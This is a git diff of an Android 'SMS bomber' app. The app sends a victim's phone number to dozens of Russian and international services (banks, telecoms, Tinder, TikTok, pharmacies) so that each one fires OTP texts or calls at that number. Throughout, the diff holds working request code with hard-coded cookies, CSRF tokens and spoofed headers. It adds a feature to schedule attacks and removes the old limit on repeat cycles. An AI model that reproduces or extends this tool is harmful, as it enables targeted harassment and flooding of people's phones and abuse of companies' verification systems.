+ e.printStackTrace(); + } + + return body.toString(); + } + }, + + new FormService("https://www.banki.ru/ng/api/v1.0/public/auth/send-otp/") { + @Override + public void buildBody(FormBody.Builder builder) { + builder.add("phone", "+" + getFormattedPhone()); + builder.add("isRulesAccepted", "true"); + builder.add("isAdAccepted", "false"); + } + }, + + new FormService("https://zvonok.com/api/demo/", 7) { + @Override + public void buildBody(FormBody.Builder builder) { + builder.add("csrfmiddlewaretoken", "IR473RdCuTdFJyh1O2PXgiiYrI6DNQFmHiagLFAXOsMlDMdh2DsxuZuEEeOT3kCs"); + builder.add("type", "confirm"); + builder.add("phone", format(phone, "+7 (***)***-**-**")); + } + }, + + new FormService("https://voice.mobilgroup.ru/regEvent.php", 7) { + @Override + public void buildBody(FormBody.Builder builder) { + builder.add("event", "register"); + builder.add("number", format(phone, "+7(***)***-**-**")); + builder.add("email", getEmail()); + } + + @Override + public Request buildRequest(Request.Builder builder) { + builder.addHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.55"); + + return super.buildRequest(builder); + } + + }, + + new Service() { + @Override + public void run(OkHttpClient client, Callback callback) { + client.newCall(new Request.Builder() + .url("https://tv.yota.ru/") + .get().build()).enqueue(new okhttp3.Callback() { + @Override + public void onFailure(@NonNull Call call, @NonNull IOException e) { + callback.onFailure(call, e); + } + + @Override + public void onResponse(@NonNull Call call, @NonNull Response response) { + JSONObject json = new JSONObject(); + + try { + json.put("msisdn", getFormattedPhone()); + json.put("password", "91234657"); + } catch (JSONException e) { + e.printStackTrace(); + } + + try { + client.newCall(new Request.Builder() + .url("https://bmp.tv.yota.ru/api/v10/auth/register/msisdn") + .addHeader("Cookie", response.header("Set-Cookie").split(";")[0]) + .post(RequestBody.create( + json.toString(), MediaType.parse("application/json"))) + .build()).enqueue(callback); + } catch (NullPointerException e) { + callback.onError(e); + } + } + }); + } + }, + + new Service() { + @Override + public void run(OkHttpClient client, Callback callback) { + client.newCall(new Request.Builder() + .url("https://megafon.tv") + .get().build()).enqueue(new okhttp3.Callback() { + @Override + public void onFailure(@NonNull Call call, @NonNull IOException e) { + callback.onFailure(call, e); + } + + @Override + public void onResponse(@NonNull Call call, @NonNull Response response) { + JSONObject json = new JSONObject(); + + try { + json.put("msisdn", getFormattedPhone()); + json.put("password", "91234657"); + } catch (JSONException e) { + e.printStackTrace(); + } + + try { + client.newCall(new Request.Builder() + .url("https://bmp.megafon.tv/api/v10/auth/register/msisdn") + .addHeader("Cookie", response.header("Set-Cookie").split(";")[0]) + .post(RequestBody.create( + json.toString(), MediaType.parse("application/json"))) + .build()).enqueue(callback); + } catch (NullPointerException e) { + callback.onError(e); + } + } + }); + } + } }; } diff --git a/app/src/main/java/com/dm/bomber/services/Sportmaster.java b/app/src/main/java/com/dm/bomber/services/Sportmaster.java deleted file mode 100644 index 8483749..0000000 --- a/app/src/main/java/com/dm/bomber/services/Sportmaster.java +++ /dev/null @@ -1,64 +0,0 @@ -package com.dm.bomber.services; - -import androidx.annotation.NonNull; - -import org.json.JSONException; -import org.json.JSONObject; - -import java.io.IOException; - -import okhttp3.Call; -import okhttp3.MediaType; -import okhttp3.OkHttpClient; -import okhttp3.Request; -import okhttp3.RequestBody; -import okhttp3.Response; - -public class Sportmaster extends Service { - - @Override - public void run(OkHttpClient client, Callback callback) { - client.newCall(new Request.Builder() - .url("https://moappsmapi.sportmaster.ru/api/v1/auth") - .header("User-Agent", "mobileapp-android-11") - .header("X-SM-MobileApp", "null") - .header("App-Version", "3.70.41") - .header("OS", "ANDROID") - .header("OS-Version", "11") - .header("Device-Model", "null null") - .get() - .build()).enqueue(new okhttp3.Callback() { - @Override - public void onFailure(@NonNull Call call, @NonNull IOException e) { - callback.onFailure(call, e); - } - - @Override - public void onResponse(@NonNull Call call, @NonNull Response response) throws IOException { - try { - JSONObject json = new JSONObject(response.body().string()); - JSONObject req = new JSONObject(); - - req.put("type", "phone"); - req.put("value", phone); - - client.newCall(new Request.Builder() - .url("https://moappsmapi.sportmaster.ru/api/v1/code") - .header("access-token", json - .getJSONObject("data") - .getString("AccessToken")) - .header("User-Agent", "mobileapp-android-11") - .header("X-SM-MobileApp", "null") - .header("App-Version", "3.70.41") - .header("OS", "ANDROID") - .header("OS-Version", "11") - .header("Device-Model", "null null") - .post(RequestBody.create(req.toString(), MediaType.parse("application/json"))) - .build()).enqueue(callback); - } catch (JSONException | NullPointerException e) { - callback.onError(e); - } - } - }); - } -} \ No newline at end of file diff --git a/app/src/main/java/com/dm/bomber/services/Tele2.java b/app/src/main/java/com/dm/bomber/services/Tele2.java deleted file mode 100644 index 9311cb3..0000000 --- a/app/src/main/java/com/dm/bomber/services/Tele2.java +++ /dev/null @@ -1,28 +0,0 @@ -package com.dm.bomber.services; - -import okhttp3.HttpUrl; -import okhttp3.MediaType; -import okhttp3.Request; -import okhttp3.RequestBody; - -public class Tele2 extends ParamsService { - - public Tele2() { - setUrl("https://msk.tele2.ru/api/validation/number/"); - setMethod(POST); - } - - @Override - public Request buildRequest(Request.Builder builder) { - RequestBody body = RequestBody.create( - "{\"sender\": \"Tele2\"}", MediaType.parse("application/json")); - - builder.method(method, body); - return super.buildRequest(builder); - } - - @Override - public void buildParams(HttpUrl.Builder builder) { - builder.addPathSegment(getFormattedPhone()); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/TikTok.java b/app/src/main/java/com/dm/bomber/services/TikTok.java deleted file mode 100755 index 7944755..0000000 --- a/app/src/main/java/com/dm/bomber/services/TikTok.java +++ /dev/null @@ -1,35 +0,0 @@ -package com.dm.bomber.services; - -import org.json.JSONException; -import org.json.JSONObject; - -public class TikTok extends JsonService { - - public TikTok() { - setUrl("https://m.tiktok.com/node-a/send/download_link"); - setMethod(POST); - setPhoneCode("7"); - } - - @Override - public String buildJson() { - JSONObject json = new JSONObject(); - JSONObject page = new JSONObject(); - - try { - page.put("pageName", "home"); - page.put("launchMode", "direct"); - page.put("trafficType", ""); - - json.put("slideVerify", "0"); - json.put("language", "ru"); - json.put("PhoneRegionCode", countryCode); - json.put("Mobile", phone); - json.put("page", page); - } catch (JSONException e) { - e.printStackTrace(); - } - - return json.toString(); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/Tinder.java b/app/src/main/java/com/dm/bomber/services/Tinder.java deleted file mode 100644 index cb4cfaf..0000000 --- a/app/src/main/java/com/dm/bomber/services/Tinder.java +++ /dev/null @@ -1,44 +0,0 @@ -package com.dm.bomber.services; - -import org.json.JSONException; -import org.json.JSONObject; - -import okhttp3.Request; - -public class Tinder extends JsonService { - - public Tinder() { - setUrl("https://api.gotinder.com/v2/auth/sms/send?auth_type=sms"); - setMethod(POST); - setPhoneCode("7"); - } - - @Override - public Request buildRequest(Request.Builder builder) { - builder.addHeader("os-version", "29"); - builder.addHeader("app-version", "3754"); - builder.addHeader("platform", "android"); - builder.addHeader("x-supported-image-formats", "webp"); - builder.addHeader("tinder-version", "11.10.1"); - builder.addHeader("persistent-device-id", "************"); - builder.addHeader("app-session-id", "*******"); - builder.addHeader("app-session-time-elapsed", "99.2"); - builder.addHeader("install-id", "**********"); - builder.addHeader("User-Agent", "Tinder Android Version 11.10.1"); - - return super.buildRequest(builder); - } - - @Override - public String buildJson() { - JSONObject json = new JSONObject(); - - try { - json.put("phone_number", getFormattedPhone()); - } catch (JSONException e) { - e.printStackTrace(); - } - - return json.toString(); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/TochkaBank.java b/app/src/main/java/com/dm/bomber/services/TochkaBank.java deleted file mode 100644 index 2c6f26a..0000000 --- a/app/src/main/java/com/dm/bomber/services/TochkaBank.java +++ /dev/null @@ -1,29 +0,0 @@ -package com.dm.bomber.services; - -import org.json.JSONObject; - -public class TochkaBank extends JsonService { - - public TochkaBank() { - setUrl("https://x.tochka.com/api/v1/auth/v3/public"); - setMethod(POST); - } - - @Override - public String buildJson() { - JSONObject json = new JSONObject(); - - try { - json.put("id", "caece419-b6f1-0ea4-b953-338c2c7399c5"); - json.put("jsonrpc", "2.0"); - json.put("method", "second_factor_auth"); - json.put("params", new JSONObject() - .put("value", "+" + getFormattedPhone()) - .put("auth_method", "smsotp")); - } catch (Exception e) { - e.printStackTrace(); - } - - return json.toString(); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/VKWorki.java b/app/src/main/java/com/dm/bomber/services/VKWorki.java deleted file mode 100755 index 951b453..0000000 --- a/app/src/main/java/com/dm/bomber/services/VKWorki.java +++ /dev/null @@ -1,51 +0,0 @@ -package com.dm.bomber.services; - -import org.json.JSONException; -import org.json.JSONObject; - -import okhttp3.Request; - -public class VKWorki extends JsonService { - - public VKWorki() { - setUrl("https://api.iconjob.co/api/auth/verification_code"); - setMethod(POST); - setPhoneCode("7"); - } - - @Override - public Request buildRequest(Request.Builder builder) { - builder.addHeader("User-Agent", "Worki/2.8.1(627) (M2010J19SY; Android 30; Scale/2.75;)"); - builder.addHeader("api-version", "2.8.1"); - builder.addHeader("device-token", "null"); - builder.addHeader("x-request-id", "null"); - builder.addHeader("Content-Type", "application/json"); - - return super.buildRequest(builder); - } - - @Override - public String buildJson() { - JSONObject json = new JSONObject(); - JSONObject device = new JSONObject(); - JSONObject adjust = new JSONObject(); - - try { - adjust.put("adid", "null"); - adjust.put("android_id", "null"); - - device.put("adjust", adjust); - device.put("language", "ru"); - device.put("sms_hash", "fxTe0rFJkXA"); - device.put("token", "null"); - device.put("type", "android"); - - json.put("device", device); - json.put("phone", getFormattedPhone()); - } catch (JSONException e) { - e.printStackTrace(); - } - - return json.toString(); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/VapeZone.java b/app/src/main/java/com/dm/bomber/services/VapeZone.java deleted file mode 100644 index 82a8480..0000000 --- a/app/src/main/java/com/dm/bomber/services/VapeZone.java +++ /dev/null @@ -1,18 +0,0 @@ -package com.dm.bomber.services; - -import okhttp3.HttpUrl; - -public class VapeZone extends ParamsService { - - public VapeZone() { - setUrl("https://vapezone.pro/index.php"); - } - - @Override - public void buildParams(HttpUrl.Builder builder) { - builder.addQueryParameter("dispatch", "csc_sms.generate_code"); - builder.addQueryParameter("phone", "+" + getFormattedPhone()); - builder.addQueryParameter("prefix", ""); - builder.addQueryParameter("is_ajax", "1"); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/Zdravcity.java b/app/src/main/java/com/dm/bomber/services/Zdravcity.java deleted file mode 100644 index dd18f4a..0000000 --- a/app/src/main/java/com/dm/bomber/services/Zdravcity.java +++ /dev/null @@ -1,43 +0,0 @@ -package com.dm.bomber.services; - -import okhttp3.FormBody; -import okhttp3.Request; - -public class Zdravcity extends FormService { - - public Zdravcity() { - setUrl("https://zdravcity.ru/ajax/sendcode.php"); - setMethod(POST); - } - - @Override - public Request buildRequest(Request.Builder builder) { - builder.addHeader("Accept", "application/json, text/javascript, */*; q=0.01"); - builder.addHeader("Accept-Encoding", "gzip, deflate, br"); - builder.addHeader("Accept-Language", "ru,en-US;q=0.7,en;q=0.3"); - builder.addHeader("Alt-Used", "zdravcity.ru"); - builder.addHeader("Connection", "keep-alive"); - builder.addHeader("Content-Length", "81"); - builder.addHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8"); - builder.addHeader("Cookie", "PHPSESSID=36ompis7t70h760q1m53mrsab1; BITRIX_SM_ABTEST_s1=1%7CB; BITRIX_SM_LAST_REG_CODE=Moscowregion; BITRIX_SM_OLD_FAVORITES_CHECKED=Y; experiment-redesign=controlExperiment; newcart=false; _gaexp=GAX1.2.JKngMcRcSguFtw8O60tICA.18879.1; BX_USER_ID=868804f78bbb85b7fa136d704deb9c7a; _gcl_au=1.1.88904125.1628343659; _ym_uid=16283436611033418; _ym_d=1628343661; rrpvid=168462839558745; _userGUID=0:ks1trupz:cFyDarCG1VPnM_JbO9LekJg1RPA~ibdU; _ga=GA1.2.1318070326.1628343662; _gid=GA1.2.2090191083.1628343662; _ym_isad=1; tmr_reqNum=12; tmr_lvid=470e4de3fbd93e142890039d69401a27; tmr_lvidTS=1628343662067; HIDE_DESCRIPTION_HEADER_BANNER=Y; tmr_detect=1%7C1628343662427; popmechanic_sbjs_migrations=popmechanic_1418474375998%3D1%7C%7C%7C1471519752600%3D1%7C%7C%7C1471519752605%3D1; dSesn=2efab3e0-eacf-653c-0262-355a98d221cb; _dvs=0:ks1trupz:wqmyHYmwOr~Ty6cj8VfXUqkcCL_Cc4K7; rcuid=60fa5e5b83344a0001456ccb; _ym_visorc=w; mindboxDeviceUUID=b7b572e4-0c88-4c08-bd87-ce7b37989f85; directCrm-session=%7B%22deviceGuid%22%3A%22b7b572e4-0c88-4c08-bd87-ce7b37989f85%22%7D; _gat_UA-60065697-1=1; flocktory-uuid=0540ae8f-b10e-4ba2-8554-0038c20fb7c2-5; _fbp=fb.1.1628343665796.1565400631; cto_bundle=RNGZlV9JV1Zsc3R3aXdFclk4c1hqUklpNGdvdkc3VTVybVZMRTVFJTJCTGkwSFNkRU0zY20lMkZSOGhPM05Bd20ybHBxNmhZMGlhM3ZXQmdkYjJveXNJY0luJTJCZVdBN0xKVW11MWpaQndYeEZOJTJCJTJCQUsydXM4UDFLeDdqcU4yM3VRbkolMkZ0TVpnUnFkdGNuUUJvMnFsSnRyYVRycUlKdVElM0QlM0Q; _dc_gtm_UA-60065697-1=1; lastRegData=sessid%3D3b1b4a8041b130671a05ee72e48b5ba9%26enter_back_url%3D%26save%3DY%26send_message_drug_id%3D%26buyer_phone%3D%28904%29595-01-05%26tmpphone%3D9045950105%26sms_cod%3D%26buyer_name%3D%26buyer_surname%3D%26buyer_email%3D%26my_health_cart%3DY%26register_buyer%3DY; d7a7fd7sa6=-1; _gali=login-new-registration"); - builder.addHeader("Host", "zdravcity.ru"); - builder.addHeader("Origin", "https://zdravcity.ru"); - builder.addHeader("Referer", "https://zdravcity.ru/"); - builder.addHeader("Sec-Fetch-Dest", "empty"); - builder.addHeader("Sec-Fetch-Mode", "cors"); - builder.addHeader("Sec-Fetch-Site", "same-origin"); - builder.addHeader("TE", "trailers"); - builder.addHeader("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0"); - builder.addHeader("X-Requested-With", "XMLHttpRequest"); - - return super.buildRequest(builder); - } - - @Override - public void buildBody(FormBody.Builder builder) { - builder.add("phone", phone); - builder.add("bxsid", "3b1b4a8041b130671a05ee72e48b5ba9"); - builder.add("sms1", "Y"); - builder.add("typeAction", "regUser"); - } -} diff --git a/app/src/main/java/com/dm/bomber/ui/MainActivity.java b/app/src/main/java/com/dm/bomber/ui/MainActivity.java index 3c096b6..72ec42c 100644 --- a/app/src/main/java/com/dm/bomber/ui/MainActivity.java +++ b/app/src/main/java/com/dm/bomber/ui/MainActivity.java @@ -2,6 +2,8 @@ import android.animation.Animator; import android.animation.AnimatorListenerAdapter; +import android.app.DatePickerDialog; +import android.app.TimePickerDialog; import android.content.ClipData; import android.content.ClipboardManager; import android.content.Intent; @@ -21,17 +23,25 @@ import androidx.appcompat.widget.TooltipCompat; import androidx.core.content.ContextCompat; import androidx.lifecycle.ViewModelProvider; +import androidx.recyclerview.widget.LinearLayoutManager; +import androidx.work.WorkInfo; import androidx.work.WorkManager; +import androidx.work.WorkQuery; import com.dm.bomber.R; import com.dm.bomber.databinding.ActivityMainBinding; import com.dm.bomber.databinding.DialogProxiesBinding; import com.dm.bomber.databinding.DialogSettingsBinding; +import com.dm.bomber.ui.adapters.BomberWorkAdapter; +import com.dm.bomber.ui.adapters.CountryCodeAdapter; import com.google.android.material.bottomsheet.BottomSheetDialog; import com.google.android.material.color.MaterialColors; import com.google.android.material.dialog.MaterialAlertDialogBuilder; import com.google.android.material.snackbar.Snackbar; +import java.util.Arrays; +import java.util.Calendar; + import jp.wasabeef.blurry.Blurry; public class MainActivity extends AppCompatActivity { @@ -45,9 +55,11 @@ public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { + WorkManager workManager = WorkManager.getInstance(this); + repository = new MainRepository(this); model = new ViewModelProvider(this, - new MainModelFactory(repository, WorkManager.getInstance(this))).get(MainViewModel.class); + new MainModelFactory(repository, workManager)).get(MainViewModel.class); AppCompatDelegate.setDefaultNightMode(repository.getTheme()); @@ -126,7 +138,17 @@ public void onGlobalLayout() { mainBinding.attack.setVisibility(View.GONE); }); - CountryCodeAdapter adapter = new CountryCodeAdapter(this, + BomberWorkAdapter bomberWorkAdapter = new BomberWorkAdapter(this, workManager.getWorkInfosLiveData( + WorkQuery.Builder.fromStates(Arrays.asList( + WorkInfo.State.RUNNING, + WorkInfo.State.ENQUEUED + )).build()), + workInfo -> workManager.cancelWorkById(workInfo.getId())); + + settingsBinding.tasks.setLayoutManager(new LinearLayoutManager(this)); + settingsBinding.tasks.setAdapter(bomberWorkAdapter); + + CountryCodeAdapter countryCodeAdapter = new CountryCodeAdapter(this, new int[]{R.drawable.ic_ru, R.drawable.ic_uk, R.drawable.ic_all}, MainViewModel.countryCodes, getThemeColor(R.attr.colorOnSecondary)); @@ -134,7 +156,7 @@ public void onGlobalLayout() { String[] hints = getResources().getStringArray(R.array.hints); mainBinding.phoneNumber.setHint(hints[0]); - mainBinding.phoneCode.setAdapter(adapter); + mainBinding.phoneCode.setAdapter(countryCodeAdapter); mainBinding.phoneCode.setOnItemSelectedListener(new AdapterView.OnItemSelectedListener() { @Override public void onItemSelected(AdapterView adapterView, View view, int index, long l) { @@ -146,6 +168,9 @@ public void onNothingSelected(AdapterView adapterView) { } }); + BottomSheetDialog settings = new BottomSheetDialog(this); + settings.setContentView(settingsBinding.getRoot()); + mainBinding.startAttack.setOnClickListener(view -> { InputMethodManager input = (InputMethodManager) getSystemService(INPUT_METHOD_SERVICE); input.hideSoftInputFromWindow(mainBinding.getRoot().getWindowToken(), 0); @@ -158,12 +183,45 @@ public void onNothingSelected(AdapterView adapterView) { return; } - int numberOfCyclesNum = numberOfCycles.isEmpty() ? 1 : Integer.parseInt(numberOfCycles); + repository.setLastCountryCode(mainBinding.phoneCode.getSelectedItemPosition()); + repository.setLastPhone(phoneNumber); + + model.startAttack(mainBinding.phoneCode.getSelectedItemPosition(), phoneNumber, + numberOfCycles.isEmpty() ? 1 : Integer.parseInt(numberOfCycles)); + }); + + mainBinding.startAttack.setOnLongClickListener(view -> { + String phoneNumber = mainBinding.phoneNumber.getText().toString(); + String numberOfCycles = mainBinding.cyclesCount.getText().toString(); + + if (phoneNumber.length() < 7) { + Snackbar.make(view, R.string.phone_error, Snackbar.LENGTH_LONG).show(); + return true; + } + + final Calendar currentDate = Calendar.getInstance(); + final Calendar date = Calendar.getInstance(); + + new DatePickerDialog(MainActivity.this, (datePicker, year, monthOfYear, dayOfMonth) -> { + date.set(year, monthOfYear, dayOfMonth); + + new TimePickerDialog(MainActivity.this, (timePicker, hourOfDay, minute) -> { + date.set(Calendar.HOUR_OF_DAY, hourOfDay); + date.set(Calendar.MINUTE, minute); + + model.scheduleAttack(mainBinding.phoneCode.getSelectedItemPosition(), phoneNumber, + numberOfCycles.isEmpty() ? 1 : Integer.parseInt(numberOfCycles), + date.getTimeInMillis() - currentDate.getTimeInMillis()); - if (numberOfCyclesNum > 30) - numberOfCyclesNum = 10; + repository.setLastCountryCode(mainBinding.phoneCode.getSelectedItemPosition()); + repository.setLastPhone(phoneNumber); - model.startAttack(mainBinding.phoneCode.getSelectedItemPosition(), phoneNumber, numberOfCyclesNum); + settings.show(); + }, currentDate.get(Calendar.HOUR_OF_DAY), currentDate.get(Calendar.MINUTE), true).show(); + + }, currentDate.get(Calendar.YEAR), currentDate.get(Calendar.MONTH), currentDate.get(Calendar.DATE)).show(); + + return true; }); mainBinding.bomb.setOnClickListener(view -> view.animate() @@ -190,9 +248,6 @@ public void onAnimationEnd(Animator animation) { return false; }); - BottomSheetDialog settings = new BottomSheetDialog(this); - settings.setContentView(settingsBinding.getRoot()); - mainBinding.settings.setOnClickListener(view -> settings.show()); settingsBinding.themeTile.setChecked((getResources().getConfiguration().uiMode & Configuration.UI_MODE_NIGHT_MASK) == Configuration.UI_MODE_NIGHT_YES); diff --git a/app/src/main/java/com/dm/bomber/ui/MainRepository.java b/app/src/main/java/com/dm/bomber/ui/MainRepository.java index 955c07a..9512671 100644 --- a/app/src/main/java/com/dm/bomber/ui/MainRepository.java +++ b/app/src/main/java/com/dm/bomber/ui/MainRepository.java @@ -21,7 +21,7 @@ public class MainRepository { private static final String DARKMODE = "darkmode"; private static final String LAST_PHONE = "last_phone"; private static final String LAST_COUNTRYCODE = "last_countrycode"; - private static final String PROMOTION_SHOWN = "promotion_shown3"; + private static final String PROMOTION_SHOWN = "promotion_shown4"; private static final String PROXY = "proxy"; private static final String PROXY_ENABLED = "proxy_enabled"; diff --git a/app/src/main/java/com/dm/bomber/ui/MainViewModel.java b/app/src/main/java/com/dm/bomber/ui/MainViewModel.java index 46702a8..9341c74 100644 --- a/app/src/main/java/com/dm/bomber/ui/MainViewModel.java +++ b/app/src/main/java/com/dm/bomber/ui/MainViewModel.java @@ -9,10 +9,13 @@ import androidx.work.OneTimeWorkRequest; import androidx.work.WorkInfo; import androidx.work.WorkManager; +import androidx.work.WorkQuery; import com.dm.bomber.workers.AttackWorker; +import java.util.Arrays; import java.util.UUID; +import java.util.concurrent.TimeUnit; public class MainViewModel extends ViewModel { private final MainRepository repository; @@ -27,7 +30,6 @@ public class MainViewModel extends ViewModel { private final MutableLiveData maxProgress = new MutableLiveData<>(0); private final MutableLiveData attackStatus = new MutableLiveData<>(false); - private static final String ATTACK = "attack"; public static final String[] countryCodes = {"7", "380", ""}; public MainViewModel(MainRepository preferences, WorkManager workManager) { @@ -37,16 +39,20 @@ public MainViewModel(MainRepository preferences, WorkManager workManager) { promotionShown = new MutableLiveData<>(repository.getPromotionShown()); proxyEnabled = new MutableLiveData<>(repository.isProxyEnabled()); - workManager.getWorkInfosByTagLiveData(ATTACK).observeForever(workInfos -> { - if (workInfos.isEmpty()) { + workManager.getWorkInfosLiveData( + WorkQuery.Builder.fromStates(Arrays.asList(WorkInfo.State.RUNNING, + WorkInfo.State.CANCELLED, + WorkInfo.State.SUCCEEDED, + WorkInfo.State.FAILED + )).build()).observeForever(workInfos -> { + + if (workInfos.isEmpty()) return; - } for (WorkInfo workInfo : workInfos) if (workInfo.getId().equals(currentAttackId)) { - if (workInfo.getState().isFinished()) { + if (workInfo.getState().isFinished()) attackStatus.setValue(false); - } Data data = workInfo.getProgress(); @@ -90,7 +96,7 @@ public LiveData getAttackStatus() { return attackStatus; } - public void startAttack(int countryCode, String phoneNumber, int numberOfCyclesNum) { + public void scheduleAttack(int countryCode, String phoneNumber, int numberOfCyclesNum, long delay) { Data inputData = new Data.Builder() .putString(AttackWorker.KEY_COUNTRY_CODE, countryCodes[countryCode]) .putString(AttackWorker.KEY_PHONE, phoneNumber) @@ -98,18 +104,25 @@ public void startAttack(int countryCode, String phoneNumber, int numberOfCyclesN .putBoolean(AttackWorker.KEY_PROXY_ENABLED, repository.isProxyEnabled()) .build(); - OneTimeWorkRequest attack = new OneTimeWorkRequest.Builder(AttackWorker.class) - .addTag(ATTACK) + OneTimeWorkRequest workRequest = new OneTimeWorkRequest.Builder(AttackWorker.class) + .addTag("+" + countryCodes[countryCode] + phoneNumber) + .setInitialDelay(delay, TimeUnit.MILLISECONDS) .setInputData(inputData) .setConstraints(new Constraints.Builder() .setRequiredNetworkType(NetworkType.CONNECTED) .build()) .build(); - currentAttackId = attack.getId(); - attackStatus.setValue(true); + if (delay == 0) { + currentAttackId = workRequest.getId(); + attackStatus.setValue(true); + } - workManager.enqueue(attack); + workManager.enqueue(workRequest); + } + + public void startAttack(int countryCode, String phoneNumber, int numberOfCyclesNum) { + scheduleAttack(countryCode, phoneNumber, numberOfCyclesNum, 0); } public void stopAttack() { diff --git a/app/src/main/java/com/dm/bomber/ui/adapters/BomberWorkAdapter.java b/app/src/main/java/com/dm/bomber/ui/adapters/BomberWorkAdapter.java new file mode 100644 index 0000000..a0bbb8e --- /dev/null +++ b/app/src/main/java/com/dm/bomber/ui/adapters/BomberWorkAdapter.java @@ -0,0 +1,93 @@ +package com.dm.bomber.ui.adapters; + +import android.annotation.SuppressLint; +import android.content.Context; +import android.view.LayoutInflater; +import android.view.View; +import android.view.ViewGroup; + +import androidx.annotation.NonNull; +import androidx.lifecycle.LifecycleOwner; +import androidx.lifecycle.LiveData; +import androidx.recyclerview.widget.RecyclerView; +import androidx.work.WorkInfo; + +import com.dm.bomber.databinding.WorkItemBinding; +import com.dm.bomber.workers.AttackWorker; + +import java.util.List; + +public class BomberWorkAdapter extends RecyclerView.Adapter { + private List workInfos; + + private final Context context; + public Callback callback; + + @SuppressLint("NotifyDataSetChanged") + public BomberWorkAdapter(LifecycleOwner context, LiveData> data, Callback callback) { + this.context = (Context) context; + this.callback = callback; + + data.observe(context, workInfosResult -> { + workInfos = workInfosResult; + + notifyDataSetChanged(); + }); + } + + @NonNull + @Override + public ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) { + WorkItemBinding rowItem = WorkItemBinding.inflate(LayoutInflater.from(context), parent, false); + return new ViewHolder(rowItem); + } + + @Override + public void onBindViewHolder(@NonNull ViewHolder holder, int position) { + WorkInfo workInfo = workInfos.get(position); + + boolean isRunning = workInfo.getState().equals(WorkInfo.State.RUNNING); + holder.binding.taskProgress.setVisibility(isRunning ? View.VISIBLE : View.INVISIBLE); + holder.binding.taskTime.setVisibility(isRunning ? View.GONE : View.VISIBLE); + + if (isRunning) { + holder.binding.taskProgress.setMax(workInfo.getProgress().getInt(AttackWorker.KEY_MAX_PROGRESS, 0)); + holder.binding.taskProgress.setProgress(workInfo.getProgress().getInt(AttackWorker.KEY_PROGRESS, 0)); + } + + for (String tag : workInfo.getTags()) { + if (tag.startsWith("com")) + continue; + + holder.binding.taskTitle.setText(tag); + } + } + + @Override + public int getItemCount() { + return workInfos.size(); + } + + public class ViewHolder extends RecyclerView.ViewHolder implements View.OnLongClickListener { + public final WorkItemBinding binding; + + public ViewHolder(WorkItemBinding binding) { + super(binding.getRoot()); + + this.binding = binding; + + binding.getRoot().setOnLongClickListener(this); + } + + @Override + public boolean onLongClick(View view) { + callback.onItemLongClicked(workInfos.get(getLayoutPosition())); + + return true; + } + } + + public interface Callback { + void onItemLongClicked(WorkInfo workInfo); + } +} diff --git a/app/src/main/java/com/dm/bomber/ui/CountryCodeAdapter.java b/app/src/main/java/com/dm/bomber/ui/adapters/CountryCodeAdapter.java similarity index 98% rename from app/src/main/java/com/dm/bomber/ui/CountryCodeAdapter.java rename to app/src/main/java/com/dm/bomber/ui/adapters/CountryCodeAdapter.java index e310405..21e73d7 100644 --- a/app/src/main/java/com/dm/bomber/ui/CountryCodeAdapter.java +++ b/app/src/main/java/com/dm/bomber/ui/adapters/CountryCodeAdapter.java @@ -1,4 +1,4 @@ -package com.dm.bomber.ui; +package com.dm.bomber.ui.adapters; import android.app.Activity; import android.view.LayoutInflater; diff --git a/app/src/main/res/drawable/work_item_background.xml b/app/src/main/res/drawable/work_item_background.xml new file mode 100644 index 0000000..d4a0d37 --- /dev/null +++ b/app/src/main/res/drawable/work_item_background.xml @@ -0,0 +1,11 @@ + + + + + + \ No newline at end of file diff --git a/app/src/main/res/layout/dialog_settings.xml b/app/src/main/res/layout/dialog_settings.xml index b35022d..c9e4d53 100644 --- a/app/src/main/res/layout/dialog_settings.xml +++ b/app/src/main/res/layout/dialog_settings.xml @@ -38,9 +38,21 @@ app:flow_maxElementsWrap="2" app:flow_verticalGap="8dp" app:flow_wrapMode="chain" + app:layout_constraintBottom_toTopOf="@+id/tasks" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintHorizontal_bias="0.5" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toTopOf="parent" + app:layout_constraintVertical_chainStyle="packed" /> + + + app:layout_constraintTop_toBottomOf="@+id/flow" /> \ No newline at end of file diff --git a/app/src/main/res/layout/work_item.xml b/app/src/main/res/layout/work_item.xml new file mode 100644 index 0000000..9a84df9 --- /dev/null +++ b/app/src/main/res/layout/work_item.xml @@ -0,0 +1,46 @@ + + + + + + + + + + \ No newline at end of file diff --git a/app/src/main/res/values-kz/strings.xml b/app/src/main/res/values-kz/strings.xml index 42ae785..6f3b747 100644 --- a/app/src/main/res/values-kz/strings.xml +++ b/app/src/main/res/values-kz/strings.xml @@ -9,6 +9,7 @@ Қайырымдылық Прокси Дереккөз + Күту Сақтау Прокси пішімі дұрыс емес diff --git a/app/src/main/res/values-ru/strings.xml b/app/src/main/res/values-ru/strings.xml index e499c27..cbf1ab5 100644 --- a/app/src/main/res/values-ru/strings.xml +++ b/app/src/main/res/values-ru/strings.xml @@ -9,6 +9,7 @@ Пожертвование Прокси Исходный код + Ожидание Сохранить Неверный формат прокси diff --git a/app/src/main/res/values-uk/strings.xml b/app/src/main/res/values-uk/strings.xml index c5f9e89..b422ad7 100644 --- a/app/src/main/res/values-uk/strings.xml +++ b/app/src/main/res/values-uk/strings.xml @@ -9,6 +9,7 @@ Пожертвування Проксi Вихідний код + Очікування Зберегти Невірний формат проксі diff --git a/app/src/main/res/values/strings.xml b/app/src/main/res/values/strings.xml index 95a804f..754a9ac 100644 --- a/app/src/main/res/values/strings.xml +++ b/app/src/main/res/values/strings.xml @@ -10,6 +10,7 @@ Donate Proxy Source code + Waiting Save Invalid proxy format diff --git a/app/src/main/res/values/styles.xml b/app/src/main/res/values/styles.xml index d38048e..9dd2304 100644 --- a/app/src/main/res/values/styles.xml +++ b/app/src/main/res/values/styles.xml @@ -3,7 +3,7 @@